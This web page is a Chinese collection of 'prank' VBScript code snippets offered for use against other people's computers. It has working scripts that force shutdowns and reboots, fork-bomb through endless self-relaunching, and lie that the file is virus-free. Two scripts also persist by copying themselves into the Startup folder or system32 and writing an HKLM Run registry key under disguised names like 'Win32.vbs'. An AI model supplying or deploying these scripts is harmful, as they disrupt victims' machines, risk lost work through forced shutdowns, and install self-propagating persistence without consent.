整人代码大全（三十二个vbs整蛊代码）( 三 ) 恶作剧的vbs代码

复制代码代码如下:
dim a a=10 Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 10",,true Set s = CreateObject("sapi.spvoice") while a s.Speak a a = a - 1 wscript.sleep 100 wend CreateObject("SAPI.SpVoice").Speak "Bomb?"复制代码代码如下:
do createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34) loop复制代码代码如下:
msgbox"此文件无毒，请放心使用。",vbretrycancel,"系统提示。" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.Run "cmd.exe /c shutdown -s -t 300" wscript.sleep 2000 dim a do a=inputbox("输入abc，否则关机。") if a="abc" then msgbox" 很遗憾，你中招了，这是整人程序，你就等着关机吧！" exit do else msgbox"乖点，输入abc" end if loop复制代码代码如下:
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox "乖" loop msgbox "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox "自己骂自己的不要脸~~~~~~",4, " "复制代码代码如下:
msgbox"你是不是很无聊啊？",4 msgbox"我来陪你玩会儿" msgbox"做好玩儿的准备吧！" do msgbox"你无聊吗?",vbinformation,"你无聊吗？" loop复制代码代码如下:
on error resume next set wr=createobject("scripting.filesystemobject") set ws=createobject("wscript.shell") set f = wr.getfile(wscript.scriptfullname) q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup") if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true ws.run"shutdown -p",vbhide 这个太可恶了只好重启复制代码代码如下:
set ws=createobject("wscript.shell") do ws.sendkeys "{f5}" loop复制代码代码如下:
Dim AutoRunProgram Set AutoRunProgram = WScript.CreateObject("WScript.shell") RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" Type_Name = "REG_SZ" Key_Name = "QUESTION.vbS" Key_data = "C:\windows\system32\QUESTION.vbs" AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name Dim fso,file Set fso = CreateObject("Scripting.FileSystemObject") Set file = fso.getfile(WScript.ScriptFullName) file.copy "c:\windows\system32\" Set fso = CreateObject("Scripting.FileSystemObject") f = fso.DeleteFile(WScript.ScriptName) Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true